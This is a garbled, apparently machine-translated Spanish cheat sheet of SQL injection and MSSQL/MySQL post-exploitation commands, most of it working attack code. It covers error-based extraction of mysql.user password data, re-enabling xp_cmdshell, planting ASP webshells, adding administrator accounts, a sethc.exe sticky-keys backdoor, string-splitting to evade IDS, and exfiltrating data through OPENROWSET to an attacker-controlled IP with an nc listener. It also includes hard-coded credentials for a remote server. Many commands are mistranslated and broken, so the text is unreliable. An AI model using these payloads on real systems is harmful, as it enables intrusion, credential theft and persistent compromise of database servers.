select * de database.dbo.sysxlogins
Una vez que consigas el hash, puedes forzarlo a la fuerza bruta.

Para recorrer el directorio: Primero, crea una tabla temporal: temp
; crear la temperatura de la tabla (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; insertar master.dbo.xp_blank>_availablemedia ejecutivo temporal; – Conseguir todas las unidades de corriente
; Inserta en temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Obtener una lista de subdirectorios
; Inserta en temp(id,num1) ejecutive master.dbo.xp_blank>_dirtree c:\; – Obtener la estructura de árbol de directorios para todos los subdirectorios,

Fusiona las pulgadas en la tabla de temperatura
; insertar en el master.dbo.xp_blank>_cmdshell de TEMP(ID) Exec Tipo C:\web\index.asp; – Ver un archivo

Contenido
; insertar en temp(id) executive master.dbo.xp_blank>_cmdshell dir c:\; –
; insertar en temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs ENUM W3svc
; Inserta en temp(id,num1) ejecutive master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Autoridad Aplicable

PÚBLICO)
Escribe a la mesa:
sentencia 1: y 1=(Seleccionar IS_blank>_SRVROLEMEMBER(sysadmin)); –
Afirmación 2: y 1=(Seleccionar IS_blank>_SRVROLEMEMBER(serveradmin)); –
Afirmación 3: y 1=(Seleccionar IS_blank>_SRVROLEMEMBER(setupadmin)); –
Declaración 4: y 1=(Seleccionar IS_blank>_SRVROLEMEMBER(securityadmin)); –
Declaración 5: y 1=(Seleccionar IS_blank>_SRVROLEMEMBER(securityadmin)); –
Declaración 6: y 1=(Seleccionar IS_blank>_SRVROLEMEMBER(administrador de disco)); –
Afirmación 7: y 1=(Seleccionar IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Declaración 8: y 1=(Seleccionar IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Afirmación 9: y 1=(Seleccionar IS_blank>_MEMBER(db_blank>_owner)); –

Escribe el camino hasta la tabla:
; Create Table dirs(paths varchar(100), id int)–
; Insertar dirs Exec master.dbo.xp_blank>_dirtree c:\–
y 0<>(selecciona los caminos top 1 de las dirs)–
y 0<>(selecciona los caminos top 1 de las dirs donde los caminos no están en(@Inetpub))–
; Create Table dirs1(paths varchar(100), id int)–
; insertar dirs ejecutiva master.dbo.xp_blank>_dirtree e:\web–
y 0<>(selecciona los caminos top 1 de dirs1)–

Haz una copia de seguridad de _blank> base de datos en un directorio web: Descarga
; declarar @a nombre de sistema; conjunto @a=db_blank>_name(); Copia de seguridad de la base de datos @a a disco=E:\web\down.bak; –

y 1=(Seleccionar el nombre top 1 de(Seleccionar id top 12, nombre desde sysobjects donde xtype=char(85)) T

Orden por ID Desc)
y 1=(Seleccionar Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) de sysobjects) Véase también

Tablas relacionadas.
y 1=(seleccionar user_blank>_id de USER_blank>_LOGIN)
y 0=(seleccionar usuario de USER_blank>_LOGIN donde usuario>1)

-=- wscrip{filter}t.shell ejemplo -=-
declara @o int
exec sp_blank>_oacreate wscrip{filter}t.shell, @o out
ejecutiva sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, notepad.exe–

declara @o int, @f int, @t int @ret int
declarar @line varchar (8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
Exec sp_blank>_oamethod @o, OpenTextFile, @f Out, C:\boot.ini, 1
Exec @ret = sp_blank>_oamethod @f, readline @line out
while( @ret = 0 )
Comienzo
Imprimir @line
Exec @ret = sp_blank>_oamethod @f, readline @line out
fin

declara @o int, @f int, @t int @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
Exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") %) %>

declara @o int, @ret int
ejecutivo sp_blank>_oacreate speech.voicetext, @o fuera
ejecutiva sp_blank>_oamethod @o, registradora, NULL, foo, bar
sp_blank>_oasetproperty @o ejecutiva, velocidad, 150
exec sp_blank>_oamethod @o, habla, NULL, todos tus servidores secuelas pertenecen a, us, 528
esperaespera retraso 00:00:05

; declara @o int, @ret int ejecutiva sp_blank>_oacreate speech.voicetext, @o out executive

sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec

sp_blank>_oamethod @o, habla, NULL, todos tus servidores secuelas son nuestros, espera de 528 de espera

00:00:05–

xp_blank>_dirtree el permiso PÚBLICO aplicable
ejecutive master.dbo.xp_blank>_dirtree c: La información retornada tiene dos campos: subdirectorio, profundidad. Campos de subdirectorio

El tipo de personaje, el campo de profundidad es el campo de moldeo.
Create Table dirs (paths varchar(100), id int)
La tabla creada aquí está relacionada con la xp_blank>_dirtree anterior, con campos iguales y del mismo tipo.
insertar dirs ejecutive master.dbo.xp_blank>_dirtree c: Siempre que construyamos una tabla y definamos los campos devueltos por el proceso de almacenamiento por igual

¡Ejecutad! Para lograr el efecto de escribir tablas, ¡paso a paso para conseguir la información que queremos!
Esta inyección de errores se basa principalmente en el desbordamiento del tipo de datos Mysql
    mysql > SELECT 18446744073709551610 * 2 ;
    ERROR 1690 (22003): El valor BIGINT SIN SIGNO está fuera de rango en '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    ERROR 1690 (22003): BIGINT VALOR SIN SIGNO está fuera de rango en '(- (1) *

9223372036854775808)'
Versión de la base de datos de consulta:
    mysql> SELECT * 2 (si ((SELECT * de (SELECT (versión ()) ) s), 18446744073709551610,

18446744073709551610));
    ERROR 1690 (22003): El valor BIGINT SIN SIGNO está fuera de rango en '(2 * si (( Seleccionar ' 5.5 'de

Dual), 18446744073709551610.18446744073709551610))'
Obtén el nombre del campo:
    mysql> SELECT 2 * if((SELECT * from (select * from test.shop) como '' límite 1)>(SELECT * de

test.shop límite 1), 18446744073709551610, 18446744073709551610);

    ERROR 1690 (22003): El valor BIGINT UNSIGNED está fuera de rango en '(2 * if(((select

'artículo', 'distribuidor', 'precio' de (selecciona 'prueba'.'tienda'.'artículo' AS

'artículo', 'prueba'.'tienda'.'distribuidor' COMO 'distribuidor', 'prueba'.'tienda'.'precio' COMO 'precio' de

'prueba'.'tienda') límite 1) > (select

'prueba'.'tienda'.'artículo', 'prueba'.'tienda'.'distribuidor', 'prueba'.'tienda'.'precio' de 'prueba'.'tienda' límite

1)),18446744073709551610,18446744073709551610))'
Obtén el valor del campo:

    mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) como '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    ERROR 1690 (22003): El valor BIGINT UNSIGNED está fuera de rango en '(2 * if(((select

'localhost', 'root', '*', 'y', 'y', 'y', 'y', 'y', 'y', 'y', 'y', 'y', 'y', '

Y', 'Y', 'Y', 'Y', 'Y', '0', '0', '0', '0', '0', ', '', DE LÍMITE DUAL 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Ten en cuenta que este método no funciona con versiones anteriores de Mysql, y necesitarás conocer el límite de longitud del mensaje de error, ya que esto lo determinará

Puedes conseguir todo el tiempo que quieras:
    mysys / my_error.c

    /* Longitud máxima de un mensaje de error. Debería mantenerse sincronizado con MYSQL_ERRMSG_SIZE. */
    #define ERRMSGSIZE (512)

Si el objeto es MariaDB (una bifurcación de Mysql), puede que veas un mensaje de error como este al probar el método anterior:

    mysql> SELECT 2*(if((SELECT * de (SELECT (versión()))), 18446744073709551610,

18446744073709551610))
    ERROR 1690 (22003): El valor BIGINT UNSIGNED está fuera de rango en '(2 * if((select

#),18446744073709551610,18446744073709551610))'

Como solución, este problema puede resolverse de la siguiente manera:

    mysql> SELECT (I IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a;
    ERROR 1690 (22003): El valor BIGINT está fuera de rango en '(('5.5-MariaDB' no es nulo) - -

(9223372036854775808))'
Ahora veamos si podemos hacer nuestro Vector un poco más corto

//查询数据库版本

    SELECT 2*(if((SELECT * de (SELECT (versión())))), 18446744073709551610,

18446744073709551610))
    =
    select 1E308*if((select*from(select version())x),2,2)

    SELECT (I IS NOT NULL) - -9223372036854775808 DESDE (SELECT (versión())i)a
    =
    select if(x,2,2)*1E308 de(select version()x)y
//获取表字段名称
    SELECT 2 * if((SELECT * from (select * from test.shop) como '' límite 1)>(SELECT * de

test.shop límite 1), 18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*de(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) como '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user limit 0),2,2)
//获取指定字段的值
    select 1E308*if((select user|| anfitrión|| password|| file_priv from(select*from mysql.user LIMIT

1) un límite 1),2,2)
//获取字段个数


    selecciona 1E308*if((select*de mysql.User límite 1)>(selecciona 1),2,2)



Algunas otras deformaciones

    SELECT (I IS NOT NULL) - -9223372036854775808 DESDE (SELECT (versión())i)a
    select 1E308*if((select user|| anfitrión|| password|| file_priv from(select*from mysql.user LIMIT

1) un límite 1),2,2);
    =>
    select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    mysql> select (select * from mysql.user)=1;
    mysql> select (select * from mysql.user)in(1);

    ERROR 1241 (21000): El operando debe contener 42 columnas
    select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    select if((select user|| anfitrión|| password|| file_priv de(select*from mysql.user LIMIT 1)a

límite 1),2,2)*1E308
    SELECT (I IS NOT NULL) - -9223372036854775808 DESDE (SELECT (versión())i)a
    select (x!=0x00)--9223372036854775808 from(SELECT version()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    ERROR 1690 (22003): BIGINT UNSIGNED value está fuera de rango en '((not('root@localhost')) - ~

(0))'
3. Juzgar el sistema de bases de datos
; y (select count(*) from sysobjects)>0 mssql
; y (select count(*) de msysobjects)>0 acceso
4. El parámetro de inyección es un carácter
'y [criterios de consulta] y ''='
5. No hay parámetros filtrados durante la búsqueda
'y [criterios de consulta] y '%25'='
6. Adivinar la base de datos
; y (seleccionar Count(*) de [nombre de la base de datos])>0
7. Adivina el campo
; y (seleccionar Conteo(nombre del campo) desde el nombre de la base de datos)>0
8. Adivina la longitud del disco en el campo
; y (seleccionar el 1 LEN superior (nombre del campo) del nombre de la base de datos)>0
9. (1) Adivinar el valor ASCII del campo (acceso)
; y (selecciona top 1 ASC(nombre de medio(1,1)) del nombre de la base de datos)>0
(2) Adivinar el valor ASCII del campo (mssql)
; y (seleccionar unicode top 1(substring(nombre del campo, 1,1)) del nombre de la base de datos)>0
10. Estructura de permisos de prueba (mssql)
; y 1=(seleccionar IS_SRVROLEMEMBER('sysadmin')); --
; y 1=(seleccionar IS_SRVROLEMEMBER('serveradmin')); --
; y 1=(seleccionar IS_SRVROLEMEMBER('setupadmin')); --
; y 1=(seleccionar IS_SRVROLEMEMBER('securityadmin')); --
; y 1=(select IS_SRVROLEMEMBER('diskadmin')); --
; y 1=(seleccionar IS_SRVROLEMEMBER('bulkadmin')); --
; y 1=(seleccionar IS_MEMBER('db_owner')); --
11. Añadir una cuenta para mssql y el sistema
; nombre de usuario master.dbo.sp_addlogin ejecutivo; --
; exec master.dbo.sp_password null, nombre de usuario, contraseña; --
; nombre de usuario de administrador de sistemas master.dbo.sp_addsrvrolemember ejecutivo; --
; Exec master.dbo.xp_cmdshell 'Usuario de la red Usuario contraseña /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; Ejecutivo master.dbo.xp_cmdshell 'Usuario de usuario de la red contraseña /add'; --
; EXEC master.dbo.xp_cmdshell 'Administrador de grupo local de la red nombre de usuario /add'; --
12. (1) Recorrer el catálogo
; Create Table dirs (paths varchar(100), id int)
; Insertar directores ejecutivos master.dbo.xp_dirtree 'c:\'
; y (selecciona los caminos principales de las directoras)>0
; y (selecciona los caminos top 1 de las dirs donde los caminos no están en ('rutas obtenidas del paso anterior')))>)
(2) Recorrer el catálogo
; crear la temperatura de la tabla (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; insertar ejecutivo temporal master.dbo.xp_availablemedia; -- Consigue todos los discos de corriente
; insertar en temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Obtener una lista de subdirectorios
; insertar en temp(id,num1) ejecutivo master.dbo.xp_dirtree 'c:\'; -- Obtener la estructura del árbol de directorios para todos los subdirectorios
; insertar en el ejecutivo de temp(id) master.dbo.xp_cmdshell 'tipo c:\web\index.asp'; -- Ver el contenido del archivo
13. Procedimientos almacenados en mssql
xp_regenumvalues Clave raíz del registro, clave hija
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' y más

método de conjuntos de registros para devolver todos los valores clave
xp_regread Clave raíz, clave hija, nombre clave-valor
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion','CommonFilesDir' devuelve el valor de la clave de formulación
xp_regwrite Clave raíz, clave hija, nombre de valor, tipo de valor, valor
Existen dos tipos de valores REG_SZ REG_DWORD para los tipos de carácter y para los enteros
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' están escritos en el registro
xp_regdeletevalue Clave raíz, subclave, nombre del valor
ejecutiva xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName' para eliminar un valor
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' clave,

Incluye todos los valores bajo esa clave
14. La copia de seguridad de MSSQL crea un webshell
Modelo de uso
crear tabla cmd(imagen STR);
insertar en cmd(str) valores ('<% Dim oscrip{filter}t %>');
Copia de seguridad del modelo de base de datos en disco='c:\l.asp';
15. Funciones integradas de MSSQL
; y (selecciona @@version)>0 para obtener el número de versión de Windows
; y user_name()='dbo' para determinar si el usuario conectado del sistema actual es SA
; y (select user_name())>0 Explotaron los usuarios conectados del sistema actual
; y (selecciona db_name())>0 para obtener la base de datos conectada actualmente
16. Webshell conciso
Modelo de uso
crear tabla cmd(imagen STR);
insertar en cmd(str) valores ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c").stdout.readall%>');
Copia de seguridad del modelo de base de datos en disco='g:\wwwtest\l.asp';
Cuando solicites, usa algo así:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Obtén todos los nombres de bases de datos, incluidas las bases de datos del sistema
–SELECT nombre FROM master.dbo.sysdatabases

Obtener todos los nombres de bases de datos que no sean del sistema
–selecciona [name] de master.dbo.sysdatabases donde DBId>6 Ordena por [Nombre]

Obtén toda la información, incluida la dirección del archivo de la base de datos
–select * de master.dbo.sysdatabases donde DBId>6 Order by

[Nombre]



Esta consulta de sentencia devuelve todas las tablas de usuario

seleccionar * de sysobjects donde xtype='u'


Consulta toda la información de la tabla de datos en el sistema

Seleccionar * de sysobjects



Mira el nombre de la máquina
select * de sys.servers





Índice de columnas
Ejecutivo master.dbo.xp_subdirs 'C:\'


master.dbo.xp_dirtree ejecutivo 'c:',1,1 db_owner
Se pueden hacer cumplir permisos


ejecutiva master.dbo.xp_dirtree 'c:/Program Files',1,1





Código de programa, escrito para webshell


Ejecutivo master.dbo.xp_subdirs 'D:\web\www.xx.com';
sp_makewebtask ejecutivo 'd:

\web\www.XXXX.com\XX.asp','select"<%execute(request("SB")%>"






ejecuta al maestro... xp_enumgroups  


Usuarios del sistema de recorrido


ejecuta al maestro... xp_getnetname
Obtén el nombre actual de la máquina


--Enumera los discos fijos en el servidor, junto con el espacio disponible para cada disco
   Público de DBO


ejecutar

xp_ntsec_enumdomains


--
Crea una cuenta para iniciar sesión en MSSQL
Ejecutivo master.dbo.sp_addlogin nombre, Pass; --






--
Listar el nombre de dominio del servidor
xp_ntsec_enumdomains //
Nombre de máquina //dbo public


--
Para o inicia un servicio
xp_servicecontrol 'stop', 'schedule' //schedule es el nombre del servicio //dbo


--Usar pid

Detener un programa en ejecución
xp_terminate_process 123 //123 es el pid //dbo


--
Solo se listan los subdirectorios en un directorio
dbo.xp_subdirs 'C:' //dbo


SQL Server
El método de apertura del xp_cmdshell en 2005
EXECUTIVE sp_configure 'mostrar opciones avanzadas', 1; RECONFIGURAR; EJECUTIVO

sp_configure 'xp_cmdshell', 1; RECONFIGURAR;

SQL2005 Abrir 'OPENROWSET'
Métodos soportados:
sp_configure ejecutivo 'mostrar opciones avanzadas', 1; RECONFIGURAR; ejecutivo sp_configure 'Ad Hoc

Consultas Distribuidas',1; RECONFIGURAR;

SQL2005 para habilitar el soporte 'sp_oacreate':
sp_configure ejecutivo 'mostrar opciones avanzadas', 1; RECONFIGURAR; Ejecutivo

sp_configure 'Procedimientos de automatización antiguos',1; RECONFIGURAR





Cómo habilitar xp_cmdshell en SQL Server 2008


-- Para permitir que se modifiquen las opciones avanzadas.
EJECUTIVO

sp_configure 'mostrar opciones avanzadas', 1
VETE
-- Para actualizar el valor configurado actualmente para

Opciones avanzadas.
RECONFIGURAR
VETE
-- Para activar la función.
EJECUTIVO sp_configure 'xp_cmdshell', 1
VETE
--Para

Actualiza el valor configurado actualmente para esta función.
RECONFIGURAR
VETE


exec xp_cmdshell 'ipconfig'



Hoy quería cambiar la contraseña de acceso de acceso al servidor de base de datos, pero de repente se me olvidó, así que tuve que abrir el analizador de consultas con la ayuda de otras cuentas para cambiar la contraseña del usuario

Es muy sencillo:


Ejecución:
sp_password Null, 'teracypwd', 'sa'
Establecer la contraseña de SA a "teracypwd"


Tras la ejecución exitosa

Existe "Comando(s) completado(s) con éxito."  ¡De acuerdo!








En el permiso de la base de datos, separa el método para obtener la IP del servidor de base de datos MSSQL


1. El NC local escucha NC -VVLP 80


2.; Insertar en

OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Network=DBMSSOCN; Dirección=tu IP, 80; ', 'select * from

dest_table') seleccionar * de src_table; --


select * desde openrowset

('sqloledb','server=125.110.145.130,6789; UID=SA; pwd=zhu','select user; ')





Importación y exportación de bases de datos

/*不同服务器数据库之间的数据操作*/

--Crear servidor de enlace
sp_addlinkedserver ejecutivo   

'ITSV', 'SQLOLEDB', 'Nombre o dirección IP del servidor remoto'
ejecutivo sp_addlinkedsrvlogin 'ITSV', 'falso

',null, 'nombre de usuario', 'contraseña'

--ejemplo de consulta
select * de ITSV.database name.dbo.table name

--ejemplo de importación
select *

en la tabla desde ITSV.databasename.dbo.tablename

--Elimina el servidor vinculado si en el futuro ya no se usa
ejecutivo sp_dropserver 'ITSV',

'droplogins'

--
Conexión a datos remotos/LAN (openrowset/openquery/opendatasource)
--1、RowSet abierto

--ejemplo de consulta
select *

from openrowset( 'SQLOLEDB', 'nombre del servidor SQL'; 'Nombre de usuario'; 'password', nombre de la base de datos.dbo.nombre de la tabla)

--
Generar una tabla local
seleccione * en la tabla desde openrowset( 'SQLOLEDB', 'nombre del servidor SQL'; 'Nombre de usuario'; 'Contraseña', número

Según el nombre de la base de datos.dbo. nombre de la tabla)

--
Importar la tabla local a la tabla remota
inserta openrowset( 'SQLOLEDB', 'nombre del servidor SQL'; 'Nombre de usuario'; 'Contraseñas', bases de datos

nombre.dbo.nombre de la tabla)
seleccionar *de la tabla local

--
Actualizar tablas locales
Actualización B
establecer b. columna A = a
from openrowset( 'SQLOLEDB', 'nombre del servidor SQL'; 'Nombre de usuario'; '

contraseña ', nombre de base de datos .dbo.nombre de tabla) como una tabla local de unión interna B
en a.columna1=b.columna1

--openquery
El uso requiere crear una conexión

--Primero, crea una conexión para crear un servidor de enlaces
ejecutivo sp_addlinkedserver 'ITSV', ' ',

'SQLOLEDB', 'nombre de servidor remoto o dirección IP'
--Pregunta
select *
FROM OpenQuery(ITSV, 'SELECT * FROM datos

library.dbo.table name ')
--
Importar la tabla local a la tabla remota
insertar openquery(ITSV, 'SELECT * FROM database.dbo.table name')
seleccionar * de local

Tabla
--actualizar tabla local
Actualización B
conjunto b. columna B=a
DESDE openquery(ITSV, 'SELECT * FROM database.dbo.tablename')

como  
tabla local de unión interna b en a. columna A=b. columna A

--3、OpenDataSource/OpenRowSet
SELECT *
DE   

opendatasource( 'SQLOLEDB', 'Data Source=ip/NombreServidor; ID de usuario=Nombre de acceso; Contraseña=Contraseña '

).test.dbo.roy_ta
--
Importar la tabla local a la tabla remota



Eliminación y restauración de xp_cmdshell


Formas de recuperarse xp_cmdshell   
Elimina el procedimiento almacenado extendido xp_cmdshell

Enunciado   
Ejecutivo sp_dropextendedproc 'xp_cmdshell'   



Recuperar la sentencia sql de cmdshell   
sp_addextendedproc xp_cmdshell ejecutivo ,@dllname ='xplog70.dll'   


Ejecutivo

master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; Select count(*) de

master.dbo.sysobjects donde xtype='x' y   
El resultado de la devolución es 1 y está bien   


Si no, tienes que subir c:\inetput\web

\xplog70.dll luego   
master.dbo.sp_addextendedproc ejecutivo 'xp_cmdshell', c:\inetput\web\xplog70.dll

’; --   



Si lo eliminas de la siguiente manera   
Procedimiento de caída sp_addextendedproc   
Procedimiento de caída sp_oacreate   
Ejecutivo

sp_dropextendedproc 'xp_cmdshell'   



Puedes restaurarlo con la siguiente afirmación   
DBCC addextendedproc ("sp_oacreate","odsole70.dll")   
DBCC

addextendedproc ("xp_cmdshell","xplog70.dll")   

De este modo, puede restaurarse directamente, independientemente de si sp_addextendedproc existe o no






1、
Usa xp_cmdshell:
          Ejecutivo master.dbo.xp_cmdshell "administrador administrador de usuarios de la red / añadir"
          Ejecutivo

master.dbo.xp_cmdshell "administradores de grupos locales de la red admin /add"

En xp_cmdshell caso, utiliza sp_oacreate para seguir sp_oamethod:
          declara @object int   
          Ejecutivo

sp_oacreate 'wscrip{filter}t.Shell', @object out         
          sp_oamethod ejecutivo

@object,'Run',NULL,'administrador de usuario net/add'
          exec sp_oamethod @object,'Run',NULL,'net

localgroup Administradores admin /add'

Nota: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Usa sp_oacreate y FSO
          declara @o int
          sp_oacreate ejecutivo

'scrip{filter}ting.filesystemobject', @o out
          exec: sp_oamethod @o, 'copyfile',null,'c:\windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          declara @oo int
          Ejecutivo

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out
          sp_oamethod @oo ejecutivo,

'copyfile',null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';

Usa xp_regwrite (db_owner, reinicio necesario):
          master.dbo.xp_regwrite ejecutivo

'hkey_local_machine'', 'software\microsoft\windows\currentversion\


run','eadd1','reg_sz','administrador de usuarios de la red admin /add'
          master.dbo.xp_regwrite ejecutivo

'hkey_local_machine'', 'software\microsoft\windows\currentversion\


run','eadd2','reg_sz','net localgroup administrators admin /add'
5. Usa sp_add_job:
          Ejecutivo

master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT'
          Usa el sp_delete_job ejecutivo de MSDB

null,'x'
          Ejecutivo sp_add_job 'X'
          sp_add_jobstep ejecutiva

Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add'
          sp_add_jobserver ejecutivo

Null, 'x', @@servername ejecutiva sp_start_job 'x'















Muchos SA han tenido éxito en muchas máquinas usando directamente el modo sandbox, pero yo nunca lo he practicado y no sé cuál es la tasa de éxito. Cuando se elimina la extensión, primero

Restaura el almacenamiento de lectura y escritura en el registro.
DBCC addextendedproc ('xp_regread','xpstar.dll')
DBCC addextendedproc

('xp_regwrite'', 'xpstar.dll')



Corregido el modo protegido del sandbox
Maestro ejecutivo... xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet

\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0; --



Comprueba si el valor de 'SandBoxMode' ha pasado a 0.


ejecutivo master.dbo.xp_regread 'HKEY_LOCAL_MACHINE''SOFTWARE

\Microsoft\Jet\4.0\Motores', 'SandBoxMode'



Por último, llama al modo sandbox
selecciona * de OpenRowSet('microsoft.jet.oledb.4.0','; database=C:\WINDOWS

\system32\ias\dnary.mdb','select shell("cmd.exe /c net user user passwd /add")')







Si el modo de protección sandbox no está "apagado", se informa de un error:
          Servidor: Msg 7357, Nivel 16, Estado 2, Línea 1

No se gestionó el objeto 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB ofrece programas

El prefacio 'microsoft.jet.oledb.4.0' indica que no hay columnas en el objeto.

Seguimiento de errores OLE DB [Error no de interfaz: proveedor OLE DB incapaz de procesar objetos, ya que el objeto

has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

usuario passwd /add")']。


2、
Si el .mdb no existe o el camino de entrada es incorrecto
           Servidor: Msg 7399, Nivel 16, Estado 1, Línea 1

Error del proveedor OLE DB 'microsoft.jet.oledb.4.0'.
            [Mensaje devuelto del proveedor OLE/DB:

Archivo 'C:\WINDOWS\system32\ias\dnary1.mdb' no encontrado. ]

Rastreo de error OLE DB [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned

0x80004005: ]。


3. Si hay más espacios durante el proceso de entrada, también se reportará un error. Presta especial atención a esto, mucha gente busca directamente artículos en línea

Pégalo y ejecutalo.
          Servidor: Msg 7357, Nivel 16, Estado 2, Línea 1
          No se ha procesado el objeto 'select

shell("cmd.exe /c net user user passwd /add")'。
El proveedor de OLE DB 'microsoft.jet.oledb.4.0' indica que no hay columnas en el objeto.

Seguimiento de errores en OLE DB [Error no de interfaz:
Proveedor OLE DB incapaz de procesar objetos, ya que el objeto tiene

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user

passwd /add")']。


4、
Si los permisos de MDB y cmd.exe son incorrectos, el problema también ocurrirá.
          Cuando los permisos de MDB son incorrectos,
           Servidor: Eliminar

Interés 7320, Nivel 16, Estado 2, Línea 1

No podía responder
El proveedor OLE DB 'Microsoft.Jet.OLEDB.4.0' ejecuta la consulta.
           [Proveedor OLE/DB devuelto

message: 未知]
           OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Si el permiso de red es incorrecto, no hay aviso.

La última forma de aumentar la autoridad es subir los ias.mdb y cmd.exe del sistema bajo el directorio web actual, net.exe tres archivos.

Ejecutar select * desde openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell

("E:\web\cmd.exe /c E:\web\net.exe usuario usuario paswd /add")')
          Añadir con éxito a un usuario de ordenador.






La división de cmdshell evita IDS         
declare @a sysname set @a='xp_'+'cmdshell' ejecutive @a 'ipconfig'
declarar

@a sysname set @a='xp'+'_cm'+'dshell' ejecutivo @a 'dir c:\'





Editar shift de secuestro de registro
Maestro ejecutivo... xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows

\system32\cmd.exe en'; --



Consulta el linkserver
escoger

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,acceso a datos desde master.dbo.sysservers
escoger

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,acceso a datos desde master.dbo.sysservers



Consulta linkserver2
selecciona nombre de host distinto,db_name(dbid),net_address,loginame,program_name de

Maestro... sysprocesos



Consulta el linkserver
y otros usuarios registrados
select * de [192.168.1.1].master.dbo.syslogins



Consultar linkserver
Todas las bases de datos
select * de linkedSrvWeb.master.dbo.sysdatabases



Realizar almacenamiento extendido en LinkServer
ejecutiva [IP].master.dbo.xp_cmdshell



Consulta todas las tablas en el linkserver
Seleccione * desde [IP].master.dbo.sysobjects








select * desde openrowset

('sqloledb','server=IP; uid=usuario; pwd=password', 'select @@version')


select * de openquery([LINKSERVER

nombre], 'seleccionar @@version')




select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




select * desde openquery(GM_SERVER,'select * desde sysobjects donde xtype = (''U'')')


select * de

openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')




Selecciona * desde OpenQuery(ToatDeWeb,'Select

srvname de master.dbo.sysservers')


Insertar en OpenDataSource

('sqloledb','server=222.241.95.12; UID=SCD; PWD=A123520; database=hack520').hack520.dbo.zhu select

nombre de master.dbo.sysdatabases
crear base de datos hack520 Crear TABLA zhu(nombre nvarchar(256)

